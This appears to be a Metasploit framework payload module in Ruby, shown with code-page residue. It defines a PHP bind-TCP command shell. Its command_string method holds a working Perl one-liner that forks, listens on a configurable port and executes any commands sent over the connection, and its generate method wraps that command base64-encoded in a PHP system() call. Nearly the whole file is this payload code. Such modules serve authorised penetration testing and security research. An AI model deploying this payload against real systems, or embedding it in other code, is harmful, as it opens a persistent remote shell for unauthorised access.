52 lines
1.3 KiB
Ruby
52 lines
1.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 230
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'PHP Command Shell, Bind TCP (via Perl)',
|
|
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
|
|
'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
|
|
'License' => BSD_LICENSE,
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate(_opts = {})
|
|
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
|
|
cmd = "perl -MIO -e '$p=fork();exit,if$p;" +
|
|
"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +
|
|
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
|
|
|
|
return cmd
|
|
end
|
|
end
|